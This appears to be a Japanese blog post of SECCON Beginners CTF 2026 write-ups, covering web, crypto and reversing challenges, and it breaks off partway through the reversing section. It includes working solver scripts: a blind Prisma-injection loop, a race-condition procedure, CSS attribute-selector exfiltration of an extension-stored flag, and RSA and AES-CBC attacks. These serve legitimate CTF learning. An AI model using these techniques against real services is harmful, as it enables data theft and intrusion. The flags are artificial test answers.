SECCON CTF 2026 writeup

※本サイトはアフィリエイト広告を利用しています。
広告


今回は生成AIを用いて問題を解きました。
主にできるだけ費用を掛けたくなかったためopencode(GTP-5 mini)を中心として、Claude Code(Sonnet 4.6)とCodeX(GPT-5.5)を使用して全ての問題を解くことができました。

SECCON Beginners CTF 2026 Writeup
CTF Writeup

SECCON Beginners CTF 2026

2026年6月13日開催 / 全カテゴリ問題の詳細解法解説

24
Total Problems
24
Flags Obtained
5
Categories
2026.06.13
Event Date
全問題サマリー
問題名カテゴリ脆弱性・手法難易度状態
portfolioWeb静的ファイル誤配置★★✓ 解決
bookshelfWebNext.js SSR Props リーク★★✓ 解決
footnoteWebPrisma Blind Injection★★✓ 解決
shoppingWebRace Condition (TOCTOU)★★★✓ 解決
review4bWebChrome Extension + CSS Injection★★★✓ 解決
twinsCryptoRSA Common Factor Attack★★✓ 解決
Inverted RSACryptoWrong Totient → GCD 素因数分解★★★✓ 解決
Imaginary FriendCryptoGF(p²) PRNG 線形代数 + HNP 格子攻撃 (LLL/CVP)★★★✓ 解決
Golden Ticket 2CryptoAES-CBC / CBC-R + valid padding bootstrap★★★✓ 解決
baby-revReversingC ソース解析・XOR 復号★★✓ 解決
1st-Memory-ErrandReversingXOR 復号(線形鍵)★★✓ 解決
Reversing-2050ReversingQ# 量子プログラム = XOR★★✓ 解決
old-virusReversingAES-ECB + RC4 逆順復号★★✓ 解決
filterReversingeBPF 解析 + パケット送信★★★✓ 解決
loginPwnableStack Buffer Overflow★★✓ 解決
defeat_monsterPwnableUse-After-Free / Heap Overlap★★✓ 解決
rop4bPwnableROP Chain★★✓ 解決
scoreboardPwnable負インデックス GOT 上書き★★★✓ 解決
backlogPwnableOff-by-One / Poison Null Byte★★★✓ 解決
workflow_orientedPwnableHeap Overflow + Computed Goto★★★✓ 解決
omikujiMisc決定論的 PRNG★★✓ 解決
viewerMiscUnicode NFKC 正規化バイパス★★✓ 解決
HomeworkMiscPDF 内 ZIP ステガノグラフィ★★✓ 解決
greenroomMiscBash 組み込み /proc 読み取り★★✓ 解決
🌐 Web

Web — 5問

📁

portfolio

Misconfiguration Static Files
★★
問題文

はじめて作ったポートフォリオサイトを公開しました。
🌐 http://portfolio.beginners.seccon.games:33455
添付ファイル: portfolio.zip

TL;DRflag.txt が public/ 直下に置かれており、express.static がそのまま公開している。curl /flag.txt で即取得。
FLAGctf4b{my_f1r57_p0r7f0l10_mistake}
アプローチと考え方

「ポートフォリオサイト」は静的ファイルを公開するだけの構成が多いため、まず公開ディレクトリの構成を確認します。ZIP を展開すると public/ 配下に直接 flag.txt が置かれていることが見えます。次に index.js を読むと express.static(publicDir) でディレクトリを丸ごと公開していることがわかります。/admin には 403 が設定されていますが、flag.txt への直接アクセスにはガードがありません。curl /flag.txt で即座にフラグを取得できます。

ディレクトリ構成
# portfolio.zip 展開結果
public/
├── index.html
├── admin.html
├── styles.css
└── flag.txt   ← ★ 公開ディレクトリに機密ファイルが直置き!
問題のコード (index.js)
// ① public/ 配下を express.static で丸ごと公開
app.use(express.static(publicDir));

// ② /admin だけ 403 を設定 — でも flag.txt は無防備!
app.get("/admin", (req, res) => {
  res.status(403).send("Forbidden");
});
脆弱性の本質ミドルウェア登録順序の問題。express.static/admin ルートより先に評価されるため /admin.html にもアクセス可能。そして flag.txt 自体は 403 ガードすら存在しない。
攻撃 (1行)
curl http://portfolio.beginners.seccon.games:33455/flag.txt
学び機密ファイルは public/ に置かない。環境変数 (process.env.FLAG) や Web 非公開ディレクトリに保管し、エンドポイント経由で認可後に返すこと。
📚

bookshelf

Next.js SSR Props Leak
★★
問題文

書籍レビューサイトを公開しました。
🌐 http://bookshelf.beginners.seccon.games:33456
添付ファイル: bookshelf.zip

TL;DRサーバー側で process.env.FLAG を book オブジェクトの internalNote に入れて Client Component へ渡している。Next.js は props を HTML にシリアライズするため、表示していない値も /books/2 のレスポンスに含まれる。
FLAGctf4b{...} (環境変数 FLAG の値)
アプローチと考え方

Next.js で作られた書籍レビューサイトです。「表示されていない情報がサーバーで生成されていないか」という観点でソースを読みます。app/books/[id]/page.tsx を確認すると、book オブジェクトの internalNote フィールドに process.env.FLAG が入っています。Next.js App Router はサーバーコンポーネントから Client Component への props 全体を HTML にシリアライズするため、JSX で表示していなくても HTML ソースに含まれます。curl/books/2 を取得して ctf4b{ で grep するだけでフラグが得られます。

問題箇所 (app/books/[id]/page.tsx)
const books = [
  { id: "1", title: "..." },
  {
    id: "2",
    title: "...",
    internalNote: process.env.FLAG ?? "ctf4b{dummy_flag}"
    // ↑ サーバー側でセットした値がクライアントへシリアライズされる
  },
];

// BookDetail は internalNote を JSX で表示していない ← でも HTML に含まれる!
return <BookDetail book={books.find(b => b.id === id)} />;
なぜ漏れるのかNext.js App Router はサーバーコンポーネントから Client Component への props を __NEXT_DATA__ や RSC payload として HTML に埋め込む。JSX に書いていなくても props オブジェクト全体がシリアライズされるため。
攻撃
curl -sS "http://bookshelf.beginners.seccon.games:33456/books/2" | grep -o 'ctf4b{[^}]*}'
📝

footnote

Prisma Injection Blind Oracle
★★
問題文

記事には、著者だけが知っている小さな footnote が残されているようです。
🌐 http://footnote.beginners.seccon.games:44566
添付ファイル: footnote.zip

TL;DR/api/articles/search?field=author.profile.secretMemo&op=startsWith&value=X が Prisma に直渡しされている。startsWith をオラクルに 12 文字の hex 値を 1 文字ずつ当て、/api/claim でフラグを受け取る。
FLAGctf4b{r00t_f13lds_4r3_n0t_en0ugh}
アプローチと考え方

「著者だけが知っている footnote」というヒントから、公開 API では取得できない非公開フィールドがあることを推測します。ソースコードを読むと /api/articles/search エンドポイントが fieldopvalue を Prisma クエリに直接渡しており、Prisma の where 条件を任意に操作できます。author.profile.secretMemo というフィールドへのアクセスと startsWith オペレータを組み合わせると、SQL の LIKE 句に相当するブラインドインジェクションが可能です。1 文字ずつ試してカウントが 1 になれば正解という繰り返しで 12 文字の secretMemo を特定し、/api/claim に渡すとフラグが得られます。

攻撃の原理
startsWith “0” → count=1
先頭文字は “0”
startsWith “00” or “01”…
12文字復元完了
POST /api/claim → FLAG
レート制限の計算

secretMemo = 12文字の hex (0-9a-f)。1文字あたり最大 16 回のリクエスト。合計 最大 192 リクエスト ≪ 制限 300 req/min。

Solver (bash)
#!/bin/bash
BASE="http://footnote.beginners.seccon.games:44566"
secret=""
for i in $(seq 1 12); do
  for c in 0 1 2 3 4 5 6 7 8 9 a b c d e f; do
    count=$(curl -sG "$BASE/api/articles/search" \
      --data-urlencode "field=author.profile.secretMemo" \
      --data-urlencode "op=startsWith" \
      --data-urlencode "value=${secret}${c}" \
      | python3 -c "import sys,json;print(json.load(sys.stdin)['count'])")
    if [ "$count" != "0" ]; then secret="${secret}${c}"; break; fi
  done
done
curl -s -X POST "$BASE/api/claim" \
  -H 'Content-Type: application/json' -d "{\"memo\":\"$secret\"}"
🛒

shopping

Race Condition TOCTOU
★★★
問題文

クーポン引換をして、豪華賞品を手に入れよう!
🌐 http://shopping.beginners.seccon.games:8000
添付ファイル: shopping.zip

TL;DRクーポン 1 回 = 70pt、フラグ = 260pt。/support/statement のロック期間 (lease) より render_delay が必ず長く設計されているため、ロック解除後に複数スレッドが同じチケットをクレームして残高を二重・三重に加算できる (Race Condition)。
FLAGctf4b{Th4nk_y0u_f0r_y0ur_pur<ha5e}
アプローチと考え方

クーポンで残高を増やしてフラグ(260pt)を購入するという流れです。クーポン 1 枚で 70pt しか得られないため、残高増加処理を複数回実行できないかを疑います。ソースを読むと /support/statement がクーポンをクレームして残高加算する処理があり、ロック期間(lease=230ms)よりレンダリング遅延(render_delay=350ms)が長く設定されています。この間に別スレッドが同じクーポンをクレームして残高を二重加算できる TOCTOU 型の Race Condition です。5 スレッドを 270ms ずらして並行送信し、残高が 260pt を超えたら即座に /cart/quote/exchange でフラグを取得します。

タイムライン図 (lease=230ms, render_delay=350ms の例)
T= 0ms R1: クレーム取得 locked_until=230ms → sleep(350ms) 開始 T= 230ms ロック期限切れ (R1 はまだスリープ中) T= 270ms R2: クレーム取得 → sleep(350ms) 開始 T= 350ms R1 覚醒 → post(+70) = 70pt close→失敗(locked_byはR2) T= 620ms R2 覚醒 → post(+70) = 140pt close→失敗 T= 890ms R3 覚醒 → post(+70) = 210pt close→失敗 T=1160ms R4 覚醒 → post(+70) = 280pt close→失敗 T=1430ms R5 覚醒 → post(+70) = 350pt close→成功! T=2150ms Audit 実行 → 残高リセット (でも交換コードは取得済み)
攻撃手順
1
新セッション作成 → クーポン SPECIAL_VOUCHER_FOR_CTF4B を登録 (70pt pending)
2
5スレッドで POST /support/statement を 270ms 間隔で並行送信して Race を起こす
3
残高 ≥ 260pt を確認したら 即座に POST /cart/quote?item=flag で交換コード取得 (Audit 前、30秒有効)
4
POST /exchange にクォートを送信。クォート内の balance=350pt で判定するため Audit 後でも有効 → フラグ
根本原因post_ledger_adjustment(残高加算)と close_statement_ticket(ロック解除)が同一トランザクションでない。close 失敗時に加算がロールバックされない設計。
🔍

review4b

CSS Injection Chrome Extension Storage Bypass
★★★
問題文

レビューは大変なので、拡張機能を作りました!
http://review4b.beginners.seccon.games:3000
添付ファイル: review4b.zip

TL;DRChrome 拡張 storage に FLAG が保存されており、2 つの脆弱性を連鎖させて漏洩させる。① キーフィルターをオブジェクト渡しでバイパス → DOM 属性にフラグを書かせる。② CSS 属性セレクタで1文字ずつサーバーへ漏洩 (Blind CSS Exfiltration)。
FLAGctf4b{ex7enti0n_c4nt_check_nu11}
アプローチと考え方

Chrome 拡張が絡む問題では、まず拡張が何を storage に保管しているかを確認します。manifest.jsoncontent.js を読むと FLAG が chrome.storage.local に格納されており、content.js がページの DOM 属性にその値を書き出すことがわかります。しかしキーフィルターで "flag" を含む文字列をブロックしています。
chrome.storage.local.get(keys) の仕様を確認すると、keys にオブジェクト {"flag": ""} を渡すとデフォルト値マップとして処理されフィルターをバイパスできます。DOM 属性にフラグが書かれた後は、CSP で JS が禁止されているため CSS の background-image リクエストを使ったブラインド CSS Exfiltration で 1 文字ずつサーバーへ漏洩させます。

攻撃チェーン全体像
HTML ノート作成
data-review4b 属性
admin bot が訪問
content.js 実行
① Storage フィルター
バイパス
DOM 属性に FLAG
が書き込まれる
② CSS Injection
1文字ずつ漏洩
/leak/:id で確認
→ FLAG 完成
脆弱性① — Storage キーフィルターのバイパス
ブロックされる(通常)
keys = ["flag"]
String(["flag"]) = "flag"
// → "flag" を含む → ブロック
バイパス(オブジェクト渡し)
keys = {"flag": ""}
String({"flag":""}) = "[object Object]"
// → "flag" を含まない → 通過!

chrome.storage.local.get({"flag":""}) はオブジェクトをデフォルト値マップとして処理し、実際の値 {"flag":"ctf4b{...}"} を返す。

脆弱性② — CSS Blind Exfiltration
/* content.js が DOM 属性にフラグを書いた後 */
/* data-review4b-result='{"ok":true,"result":{"flag":"ctf4b{ex7..."}}' */

/* CSS で1文字ずつリクエストを発火させる */
[data-review4b-result*="ctf4b{ex7enti0n_c4nt_check_nu1"]{
  background: url(/leak/NOTE_ID?i=00)  /* 次が '0' なら発火 */
}
[data-review4b-result*="ctf4b{ex7enti0n_c4nt_check_nu11"]{
  background: url(/leak/NOTE_ID?i=01)  /* 次が '}' なら発火 */
}

CSP は script-src 'none' で JS 不可だが img-src 'self' は許可されており、同一オリジンへの CSS background-image リクエストが通る。

🔐 Crypto

Crypto — 4問

🔑

twins

RSA Common Factor Attack
★★
問題文

RSA の公開鍵を 2 つ作ってみました!
添付ファイル: twins.zip

TL;DRn1 = p×q1、n2 = p×q2 と 同じ素数 p を共有gcd(n1, n2) = p が一瞬で求まり、秘密鍵を復元して復号できる。
FLAGctf4b{tw1n_pr1m35_4r3_n0t_1nd3p3nd3nt}
アプローチと考え方

「公開鍵を 2 つ」と「twins(双子)」というタイトルから、2 つの鍵が何かを共有していると推測します。RSA で 2 つの公開鍵 n1, n2 が独立していなければならないのは素因数です。もし共通の素因数 p を持つなら gcd(n1, n2) = p が一瞬で求まります。ソースコード chall.py を確認すると p = getPrime(512) が 1 回だけ呼ばれて両方の鍵に使われていることが判明します。GCD 攻撃で p を取り出せば秘密鍵を復元して復号できます。

問題コード (chall.py)
p  = getPrime(512)   # ← 両方で共用される素数!
q1 = getPrime(512)
q2 = getPrime(512)
n1 = p * q1         # 1枚目の公開鍵
n2 = p * q2         # 2枚目の公開鍵 — p を共有!
c  = pow(m, e, n1)
なぜ破れるのか
RSA の安全性
=
n の素因数分解が困難
しかし
gcd(n1,n2) は O((log n)²)
一瞬で p を取得!
Solver (Python)
from math import gcd

# Step 1: GCD で共通素因数 p を求める
p  = gcd(n1, n2)
# Step 2: q1 を求める
q1 = n1 // p
# Step 3: φ(n1) = (p-1)(q1-1)
phi = (p - 1) * (q1 - 1)
# Step 4: 秘密鍵 d = e^(-1) mod φ
d  = pow(e, -1, phi)
# Step 5: 復号
m  = pow(c, d, n1)
flag = m.to_bytes((m.bit_length() + 7) // 8, 'big').decode()
print(flag)
実世界での実例“Mining Your Ps and Qs” (2012): TLS 証明書 700 万枚中 0.2% が別の証明書と素因数を共有。エントロピー不足の組み込み RNG が原因。フラグの意味: “twin primes are not independent”
🔃

Inverted RSA

RSA Wrong Totient GCD Factoring
★★★
問題文

正しく復号したはずなのに!?
添付ファイル: inverted-rsa.zip

TL;DRp = -getPrime(384) で p が負になり totient が壊れる。誤った totient で計算された m2 には m2_std^e ≡ c_std (mod q0) という関係が生まれ、GCD で N を素因数分解できる。
FLAGctf4b{of_cours3_n3g4tiv3_numb3rs_4r3_not_prim3_numb3rs}
アプローチと考え方

「正しく復号したはずなのに」というフレーバーは、復号の計算は実行されているが結果が正しくないことを示唆します。ソースコードを 1 行ずつ読むと p = -getPrime(384) という明らかに異常な行が目に入ります。Python では負数の mod 演算が可能なため実行時エラーは出ませんが、RSA の totient φ(n) = (p-1)(q-1) に負の p を代入すると totient が壊れます。wrong totient で計算した d による復号結果 m2 には、m2_std^e ≡ c_std (mod q0) という関係が成立するため、GCD で N を素因数分解できます。

問題の一行
p = -getPrime(384)   # ← マイナス! p が負の素数に
何が壊れるのか
正規 RSA totient: φ(n) = (p₀-1)(q₀-1) 今回の totient: φ(n) = (-p₀-1)(q₀-1) = -(p₀+1)(q₀-1) ← wrong! Python の負 mod 挙動: pow(c, d, n) — n が負なので結果も負の値 m2 が返る pow(c^{-1}, |d|, n) として計算 → m1 に戻らない
情報漏洩の数学的関係
Key Insightwrong totient で d を計算すると「mod q0 では正しく復号できる」が「mod p0 では正しくない」という非対称性が生まれる。その結果 m2_std^e ≡ c_std (mod q0) が成立し、GCD で因数が得られる。
Solver (Python)
from math import gcd

N      = -n              # |n| (正の RSA 法)
c_std  = c  + N          # 正の暗号文
m2_std = m2 + N          # wrong totient による復号結果 (正値)

# m2_std^e ≡ c_std (mod q0) の関係を利用して素因数分解
diff = (pow(m2_std, e, N) - c_std) % N
q0   = gcd(diff, N)
p0   = N // q0

# 正しい RSA で復号
phi_correct = (p0 - 1) * (q0 - 1)
d_correct   = pow(e, -1, phi_correct)
m1          = pow(c_std, d_correct, N)
print(m1.to_bytes((m1.bit_length() + 7) // 8, 'big').decode())
🔮

Imaginary Friend

GF(p²) PRNG Linear System LLL / CVP
★★★
問題文

間違いなく安全!
添付ファイル: imaginary-friend.zip

TL;DRGF(p²) 上の PRNG(9×9 行列乗算)でフラグの 6 バイトブロックをマスクして出力。GF(p) 上の 32×34 線形システムを解くとヌル空間次元 2 で自由変数は m₁₄ と m₁₅ そのもの。既知平文 ctf4b{ で 1 次元に帰着後、fpylll の LLL + CVP で m₁₄ を一発特定しフラグ復元。
FLAGctf4b{my_1m4g1n4ry_fr13nd_1s_n0t_r34l_bu7_kn0ws_4ll_my_s3cr3ts_07fcfd5562c1bd7ebf0cb90932a309e8}
問題の仕組み

Sage スクリプト imaginary-friend.sage は p = 2⁵⁶ − 5 を法とする GF(p²)(虚数単位 i:i² ≡ −1 mod p)上の PRNG を実装しています。9×9 ランダム行列 M初期状態ベクトル(GF(p²) 要素 × 9)を秘密とし、フラグの 6 バイトブロック 16 個それぞれに PRNG 出力を加算して出力します。

# imaginary-friend.sage(抜粋)
p = 2**56 - 5
K.i = GF(p**2, modulus=[1,0,1])   # i² + 1 = 0
class PRNG:
    def __init__(self):
        self.M     = random_matrix(K, 9, 9)   # 秘密の 9×9 行列
        self.state = random_vector(K, 9)      # 秘密の初期状態
    def next(self):
        self.state = self.M * self.state       # 状態更新
        return self.state[0]                 # 先頭要素を出力

# フラグを 6 バイト × 16 ブロックに分割して各ブロックを PRNG 出力でマスク
for idx in range(0, len(flag), 6):
    m = K.from_bytes(flag[idx:idx+6])  # フラグブロック → GF(p²) 要素(虚部=0)
    print(m + prng.next())             # 出力: y_k = m_k + s_k
攻撃手順
1
観測方程式を GF(p) スカラーに展開する
出力 y_k = m_k + s_k の実部・虚部それぞれが GF(p) 上の線形方程式になる。
未知数:初期状態 9 要素×実虚 2 成分 = 18 個、フラグブロック実部 m₀〜m₁₅ = 16 個 → 計 34 未知数
16 ブロック × 2 本 = 32 方程式 を GF(p) 上でガウス消去。
2
自由変数の特定
ガウス消去後のランクは 32。ヌル空間次元は 2 で、自由変数はちょうど m₁₄ と m₁₅(最後の 2 ブロックの平文値そのもの)。
m₀〜m₁₃ はすべて (m₁₄, m₁₅) の一次結合 (mod p) で決まる。
3
既知平文で次元を 1 つ削減
フラグ先頭 6 バイト ctf4b{ より m₀ が確定。
→ m₁₅ = f(m₁₄) mod p として消去し、1 パラメータ問題に帰着:
m_k = D_k + F_k × m₁₄ (mod p) (k = 1〜15、D_k・F_k は既知定数)
4
HNP 格子攻撃で m₁₄ を特定
m₁₄ は 6 バイト平文 = 2⁴⁸ 未満(p ≈ 2⁵⁶ の 1/256)という小さい数制約がある。
14 制約を使った 15 次元 HNP 格子 を構築し、LLL 簡約 + CVP(最近ベクトル問題)で m₁₄ を一発特定。
格子行列式 p¹⁴ ≈ 2⁷⁸⁴ に対して目標ベクトルのノルム ≈ 2⁵⁰ と十分短く LLL が収束する。
線形システムの変数レイアウト(34 次元)
各 k ブロックで得られる 2 本の GF(p) 方程式: 虚部: Σ_j (r_imag_j × v_real_j + r_real_j × v_imag_j) = y_k_imag 実部: Σ_j (r_real_j × v_real_j − r_imag_j × v_imag_j) + m_k = y_k_real r_j = (M^k)[0][j] ← 行列 M の k 乗の 0 行目 v_j = state₀[j] ← 秘密の初期状態 変数配置: [0..8] v_j_real 状態の実部 9 個 [9..17] v_j_imag 状態の虚部 9 個 [18..33] m_k フラグブロック実部 16 個 消去結果: ← pivot 変数: [0..31] すべて m₀〜m₁₃ も含む ← 自由変数: [32] = m₁₄, [33] = m₁₅ ★
HNP 格子の構築と求解 (Python / fpylll)
# m_k = D_k + F_k * m14 (mod p) を各 k について計算後:
from fpylll import IntegerMatrix, LLL, CVP

k_list = list(range(1,14)) + [15]   # 14 個の制約 (k=0 は既知、k=14 は m₁₄ 自身)
dim = 15   # 1(m₁₄) + 14(各 m_k)

lat = IntegerMatrix(dim, dim)
lat[0, 0] = 1
for j, k in enumerate(k_list):
    lat[0, j+1] = int(F[k])          # 1 行目: (1, F[1], ..., F[15])
for j in range(14):
    lat[j+1, j+1] = int(p)          # 対角: p (法)

LLL.reduction(lat)                   # LLL 簡約
B = 2**48
target = [B//2] + [B//2 - D[k] for k in k_list]   # [0,B)^15 の中心へ
v = CVP.closest_vector(lat, target)  # CVP → m₁₄ を回収
m14 = v[0]                           # = 62879280869985

# 全ブロック復元
ms = [(D[k] + F[k] * m14) % p for k in range(16)]
flag = b''.join(m.to_bytes(6,'big') for m in ms)
print(flag.decode())
solver_lll.py 実行ログ
Free vars: [32, 33]   ← m₁₄, m₁₅ が自由変数と確認
Lattice dimension: 15
Running LLL reduction... LLL done. Running CVP...
CVP solution found.
v[0] (m₁₄ candidate): 62879280869985

m_0 : b'ctf4b{'← 既知平文で検証
m_1 : b'my_1m4' ✓
m_2 : b'g1n4ry' ✓
m_3 : b'_fr13n' ✓
m_4 : b'd_1s_n' ✓
m_5 : b'0t_r34' ✓
m_6 : b'l_bu7_' ✓
m_7 : b'kn0ws_' ✓
m_8 : b'4ll_my' ✓
m_9 : b'_s3cr3' ✓
m_10: b'ts_07f' ✓
m_11: b'cfd556' ✓
m_12: b'2c1bd7' ✓
m_13: b'ebf0cb' ✓
m_14: b'90932a'← 格子が特定した自由変数
m_15: b'309e8}'← m₀ 制約から決定
学びGF(p²) 上の PRNG は「虚数」を使っても線形システムに帰着できる。自由変数がフラグブロックそのものになる構造 + 既知平文 + HNP 格子という 3 段階の削減が核心。格子の行列式 p¹⁴ に対して目標ノルム 2⁵⁰ は GH 境界 (≈2⁵⁵) より小さいため LLL + CVP が確実に機能する。
🎫

Golden Ticket 2

AES-CBC CBC-R Valid-Padding Oracle
★★★
問題文

この問題は SECCON Beginners 2025 – Golden Ticket の続編です。
nc golden-ticket-2.challenges.beginners.seccon.games 9999
添付ファイル: golden-ticket-2.zip

TL;DREncrypt で raw decrypt が分かるブロックを作り、valid padding になる 2 ブロック Decrypt だけを投げて CBC-R 用のブロックを増やす。固定 IV と key2 の seed は確率的に bootstrap し、Correct 4 回後にフラグを取得。
FLAGctf4b{w3lc0m3_b4ck_t0_7h3_ch0c0l4t3_f4c70ry_0nc3_4g41n}
アプローチと考え方

前作「Golden Ticket」の続編であることから、AES-CBC を用いた暗号化・復号オラクルを操作する問題と推測できます。制約を確認すると「Encrypt 3 枚」「不正 padding でプロセス終了」という厳しい条件があります。通常の Padding Oracle 攻撃は使えないため、valid padding のみを安全に送れるオラクルを構築することを考えます。Encrypt で得た C2 ブロックは raw decrypt 値が既知であるため、これを利用して常に valid padding になるペアを作ります。固定 IV は C2 の 1 ブロック Decrypt が成功するまで接続を繰り返して回収します(成功確率 ≈ 1/255)。

問題設定
  • AES-CBC / 鍵は Correct ごとに再生成 / IV と challenge (96 bytes) は固定
  • 暗号化チケット 3 枚 / 復号チケット 10,000 枚
  • GOLDEN_TICKET += 0.25 ずつ → 4 回 Correct でフラグ
  • Decrypt で不正 padding を送るとプロセス終了 (通常の Padding Oracle 不可)
Encrypt から得られる材料

16 バイト平文 P を Encrypt すると padding により 2 ブロック C1, C2 が返る。

C1 = E_k(P xor V)
C2 = E_k(0x10...10 xor C1)

D_k(C2) = C1 xor 0x10...10

つまり C2 は raw decrypt が既知のブロックとして使える。固定 IV V 回収後は、P = 0 としていた C1D_k(C1) = V として使える。

safe な Decrypt Oracle
valid padding だけを投げる既知 raw decrypt D_k(C) = R を使い、B = R xor (W || 0x01) を作ると、B || C を Decrypt に渡したとき 2 ブロック目が必ず W || 0x01 になる。不正 padding を送らずに raw decrypt が分かるブロックを安全に増やせる。
D_k(C) xor B
= R xor (R xor (W || 0x01))
= W || 0x01

Decrypt の出力前半は D_k(B) xor V なので、固定 IV が分かっていれば D_k(B) が求まる。これを繰り返して CBC-R 用の既知ブロックを増やす。

固定 IV と key2 の bootstrap
固定 IV 回収Encrypt で得た C2 を 1 ブロックだけ Decrypt に渡し、たまたま valid padding になれば、復元した平文 Q と既知の R = D_k(C2) から V = R xor Q で IV を回収できる。成功確率はおおよそ 1/255。
チケット制約Correct は 4 回必要だが暗号化チケットは 3 枚しかない。そこで key2 では暗号化チケットを使わず、ランダム 1 ブロック Decrypt が valid padding になる接続だけを採用して seed を作る。
攻撃順序
1
1 枚目の暗号化チケットで C1, C2 を得る。
2
C2 の 1 ブロック Decrypt が valid padding になるまで接続を作り直し、固定 IV を回収する。
3
safe な Decrypt クエリで raw decrypt 既知ブロックを増やし、key1 で Correct 1 を取る。
4
key2 は暗号化チケットなしでランダム bootstrap を行い、成功した接続だけ Correct 2 へ進む。
5
残り 2 枚の暗号化チケットを key3/key4 に使い、Correct 3 と Correct 4 を取る。
6
golden ticket が 1.0 になったら Get flag を選ぶ。
実行コマンド
python3 golden_ticket_2_exploit.py --workers 16 --progress-every 100
最終ログ
worker=9 attempt=60: random bootstrap for key2 succeeded
correct 2: dec_used=678, known_blocks=229
correct 3: dec_used=1791, known_blocks=1115
correct 4: dec_used=2462, known_blocks=673
flag: ctf4b{w3lc0m3_b4ck_t0_7h3_ch0c0l4t3_f4c70ry_0nc3_4g41n}
Your tickets:
7538 decryption ticket(s)
🔬 Reversing

Reversing — 5問

👶

baby-rev

Reversing C Source
★★
問題文

Welcome to the world of Reversing! I hope you find it interesting 🙂
添付ファイル: baby-rev.c(C ソースコード)

TL;DRC ソースが配布されているため逆アセンブル不要。入力の各バイトを固定鍵 0x88 で XOR して定数配列 xorFlag[] と比較しているだけ。xorFlag[i] ^ 0x88 で即フラグ復元。
FLAGctf4b{l00k_m0m_n0_h4nds_just_x0r!}
アプローチと考え方

配布された baby-rev.c を読むと構造は極めてシンプルです。入力の各バイトを固定値 0x88 で XOR した結果を定数配列 xorFlag[] と 1 バイトずつ比較しています。XOR は自己逆演算(A ^ K ^ K = A)なので、xorFlag[i] ^ 0x88 をそのまま計算するだけでフラグが得られます。コード解析 → 逆演算 → Python で出力という Reversing 入門の王道ワークフローです。

問題コードの全体構造 (baby-rev.c)
// ① 比較対象の定数配列(入力 ^ 0x88 であるべき値)
const unsigned char xorFlag[] = {
    0xeb,0xfc,0xee,0xbc,0xea,0xf3,0xe4,0xb8,0xb8,0xe3,
    0xd7,0xe5,0xb8,0xe5,0xd7,0xe6,0xb8,0xd7,0xe0,0xbc,
    0xe6,0xec,0xfb,0xd7,0xe2,0xfd,0xfb,0xfc,0xd7,0xf0,
    0xb8,0xfa,0xa9,0xf5
};
const int xorKey = 0x88;   // 固定 XOR 鍵
const int len    = 34;

// ② 入力長チェック
if (inputLen != len) { printf("Wrong:(\n"); return -1; }

// ③ 各バイトを xorKey で XOR して xorFlag と照合
for (int i = 0; i < len; i++) {
    if ((inp[i] ^ xorKey) != xorFlag[i]) {
        printf("Wrong:(\n"); return -1;
    }
}
printf("Correct:)\n");  // inp[i] == xorFlag[i] ^ xorKey が条件
Solver (Python 3 行)
xorFlag = [
    0xeb,0xfc,0xee,0xbc,0xea,0xf3,0xe4,0xb8,0xb8,0xe3,
    0xd7,0xe5,0xb8,0xe5,0xd7,0xe6,0xb8,0xd7,0xe0,0xbc,
    0xe6,0xec,0xfb,0xd7,0xe2,0xfd,0xfb,0xfc,0xd7,0xf0,
    0xb8,0xfa,0xa9,0xf5
]
flag = ''.join(chr(b ^ 0x88) for b in xorFlag)
print(flag)   # → ctf4b{l00k_m0m_n0_h4nds_just_x0r!}
XOR 逆演算の仕組み
検証条件: inp[i] ^ 0x88 == xorFlag[i] 逆演算: inp[i] == xorFlag[i] ^ 0x88 例(先頭バイト): xorFlag[0] = 0xeb 0xeb ^ 0x88 = 0x63 = ‘c’ → フラグ先頭は ‘c’ ✓ (ctf4b{ と一致)
学びリバーシングの基本は「入力をどう変換して何と比較しているか」を特定すること。ソースが配布されている場合はまず読む。XOR は A ^ K = B → A = B ^ K と自己逆なので鍵をそのまま再適用するだけで復号できる。インデックス依存鍵など複雑に見えても、ソースを読めば構造は一目瞭然。
🧠

1st-Memory-Errand

Reversing XOR
★★
問題文

Your mother: Could you run a quick errand for me and look for the FLAG in Memory? It might be in a hard-to-find spot, but if you look for it, you’ll find it, so please do me this favor.
添付ファイル: 1st-Memory-Errand_chall(ELF バイナリ)

TL;DRELF バイナリ (not stripped) を逆アセンブルすると gen_key(i) = 7×i + 33 という鍵生成関数が判明。.rodata の暗号データと XOR するだけ。
FLAGctf4b{My_fir5t_3rr4nd_w45_4_5ucc355!}
アプローチと考え方

「メモリの中の FLAG を探す」というテーマから、ELF バイナリの静的解析が必要です。まず file コマンドでバイナリ形式を確認し、nmobjdump -d でシンボルと関数一覧を調べます。not stripped なので関数名が残っており、gen_key という怪しい関数を発見できます。逆アセンブル結果から gen_key(i) = 7×i + 33 という線形鍵生成式を読み解き、.rodata セクションに格納された暗号バイト列と XOR 復号します。

逆アセンブル結果 (gen_key)
; gen_key(i) のアセンブリ
mov eax, [i]    ; eax = i
shl eax, 3      ; eax = i * 8
sub eax, [i]    ; eax = i*8 - i = i*7
add eax, 0x21   ; eax = 7*i + 33
ret             ; → gen_key(i) = (7*i + 33) & 0xFF
Solver
enc = bytes([
    0x42,0x5c,0x49,0x02,0x5f,0x3f,0x06,0x2b,0x06,0x06,0x0e,0x1c,
    0x40,0x08,0xdc,0xb9,0xe3,0xea,0xab,0xc8,0xc9,0xeb,0xcc,0xf6,
    0xfc,0x8f,0xe3,0x81,0xd0,0x99,0x90,0x99,0x32,0x3d,0x3a,0x37,0x60
])
flag = ''.join(chr(enc[i] ^ ((7*i + 33) & 0xFF)) for i in range(len(enc)))
print(flag)  # → ctf4b{My_fir5t_3rr4nd_w45_4_5ucc355!}
⚛️

Reversing-2050

Q# / Quantum XOR
★★
問題文

Let’s give the next-generation programming language a try 🙂
実行する場合は:pip install qsharp && python Main.py
添付ファイル: rev-2050.zip

TL;DRQ# (量子コンピューティング言語) で書かれているが、X ゲートの適用 = ビットフリップ = XOR。見た目の難しさに惑わされず実態は鍵 "Quantum" との XOR。
FLAGctf4b{Hello_Quantum_World!!!}
アプローチと考え方

「次世代プログラミング言語」と「2050」というタイトルから Q#(量子コンピューティング言語)であることに気づきます。初見では難解に見えますが、CTF では「見た目が難しくても実態はシンプル」なことが多いです。Q# の X ゲートはビットフリップ操作(NOT と等価)です。データビットと鍵ビットの両方に X を適用するとキャンセルされるため、実質的に result = dataBit XOR keyBit という操作になります。コードから鍵 “Quantum” を特定して通常の XOR 復号をするだけで解けます。

Q# コードを Python で読み解く
Q# (量子語)
within {
  if dataBit { X(q[i]); }
  if keyBit  { X(q[i]); }
} apply { /* 測定 */ }
等価な Python
result = dataBit ^ keyBit
# XOR そのもの!
